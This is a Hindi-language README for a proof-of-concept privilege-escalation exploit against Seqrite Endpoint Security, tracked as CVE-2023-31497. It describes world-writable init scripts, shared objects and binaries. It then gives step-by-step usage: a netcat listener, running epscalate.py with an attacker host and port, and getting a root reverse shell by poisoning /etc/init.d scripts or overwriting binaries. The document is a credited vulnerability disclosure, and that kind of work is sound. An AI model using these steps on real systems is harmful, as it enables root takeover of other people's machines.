EPScalate

QuickHeal के Seqrite Enterprise Endpoint Security Solution (EPS) में विशेषाधिकार उन्नयन (privilege escalation) की एक कमज़ोरी। इस कमज़ोरी को CVE ID CVE-2023-31497 प्रदान किया गया है।

https://user-images.githubusercontent.com/39941993/230790056-87157751-b96c-49a6-81df-bf3126acfbd6.mp4

विक्रेता और उत्पाद विवरण

• विक्रेता: Quick Heal Technologies Limited
• उत्पाद: Seqrite Endpoint Security (EPS)
• उत्पाद होमपेज: https://www.seqrite.com/endpoint-security/seqrite-endpoint-security
• प्रभावित संस्करण: v8.0 से पहले के सभी संस्करणों को प्रभावित करता है।

कमज़ोरी विवरण

Seqrite endpoint security अपनी डिफ़ॉल्ट स्थापना में /usr/lib/Seqrite/ पर स्थापित होता है जिसमें बहुत कमज़ोर निर्देशिका और फ़ाइल अनुमतियाँ होती हैं, जो एक स्थानीय उपयोगकर्ता को निर्देशिका की सामग्री पर पूर्ण पढ़ने/लिखने की अनुमति देती हैं। इसके अलावा, स्थापना प्रक्रिया अपने स्टार्टअप स्क्रिप्ट्स को /etc/init.d/ में स्थापित करती है जो विश्व-लेखनीय (world writable) होती हैं। यह सिस्टम पर किसी भी निम्न-विशेषाधिकार वाले उपयोगकर्ता को रूट तक विशेषाधिकार बढ़ाने में सक्षम बनाता है।

Exploit सिस्टम पर विशेषाधिकार बढ़ाने के लिए सॉफ़्टवेयर द्वारा प्रस्तुत 2 विभिन्न कमज़ोरियों का उपयोग करता है। पहला, तथ्य यह है कि एप्लिकेशन अपने स्कैन प्रक्रियाओं को शुरू करने के लिए /etc/init.d/ में स्क्रिप्ट का उपयोग करता है जो किसी भी उपयोगकर्ता द्वारा लिखी जा सकती हैं। दूसरा, एप्लिकेशन रनटाइम के दौरान पोज़िशन-इंडिपेंडेंट कोड (PIC) को गतिशील रूप से लोड करने के लिए शेयर्ड ऑब्जेक्ट्स का उपयोग करता है। वास्तव में, सभी निष्पादन योग्य शेयर्ड ऑब्जेक्ट फ़ाइलें विश्व-लेखनीय हैं। अंत में, डेमॉन प्रक्रिया के लिए उपयोग किए जाने वाले एप्लिकेशन बाइनरी विश्व-लेखनीय हैं, जिसका मूलतः अर्थ है कि कोई भी गैर-विशेषाधिकार प्राप्त उपयोगकर्ता स्कैनर बाइनरी को एक रिवर्स शेल बाइनरी से ओवरराइट कर सकता है ताकि root के रूप में मनमाना कोड निष्पादित किया जा सके।

Exploit का उपयोग

यह exploit एक सरल Python फ़ाइल है जो कमज़ोरी के शोषण में सहायता करता है।

चरण:

1. हमलावर मशीन पर, netcat (nc -lvp <port>) या metasploit (multi/handler) का उपयोग करके एक listener प्रारंभ करें।
2. epscalate.py और shellcode.c फ़ाइल को लक्ष्य सिस्टम पर कॉपी/डाउनलोड करें।
3. Python फ़ाइल को उचित आर्गुमेंट्स के साथ चलाएँ (python3 epscalate.py -H 192.168.0.103:9999 -I)।
4. AV के पुनः लोड होने / सिस्टम के रीबूट होने की प्रतीक्षा करें।
5. आपके listener से रिवर्स कनेक्शन रूट के रूप में कोड निष्पादन की पुष्टि कर सकता है।

Exploit सहायता:

$ python epscalate.py -h

    EPSCALATE - PoC for privesc in Seqrite EPS
                ~ 0xInfection

usage: epscalate.py -H <host>:<port> <technique_flag>

options:
  -h, --help            show this help message and exit
  -H HOSTPORT, --hostport HOSTPORT
                        The IP and port of the listening attacker machine in format of <ip>:<port>
  -B, --daemon-binaries
                        Overwrite the main daemon binaries to escalate privileges.
  -I, --initd-scripts   Posion /etc/init.d/ bash startup scripts with a reverse shell to escalate privileges.

समर्थन

इस exploit का परीक्षण सभी Debian और Ubuntu-आधारित विभिन्न ऑपरेटिंग सिस्टमों पर किया गया है।

लाइसेंस और क्रेडिट

Exploit कोड Apache 2.0 लाइसेंस के तहत प्रकाशित किया गया है। यह कमज़ोरी विक्रेता को सूचित की गई है और कमज़ोरी प्रकाशित करने के समय इसे ठीक कर दिया गया है।

कमज़ोरी और exploit क्रेडिट: Pinaki Mondal (0xInfection)।